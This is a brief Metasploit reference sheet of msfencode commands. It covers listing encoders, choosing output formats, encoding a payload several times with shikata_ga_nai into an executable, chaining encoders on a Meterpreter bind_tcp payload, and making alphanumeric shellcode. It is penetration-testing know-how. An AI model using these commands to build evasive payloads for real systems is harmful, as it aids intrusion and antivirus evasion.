Metasploit

MSFencode Commands

msfencode -h

Display the msfencode help.

msfencode -l

List the available encoders.

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

Format to display the encoded buffer.

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

Create a multi-encoded payload.

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

Create pure alphanumeric shellcode where ESI points to the shellcode; ...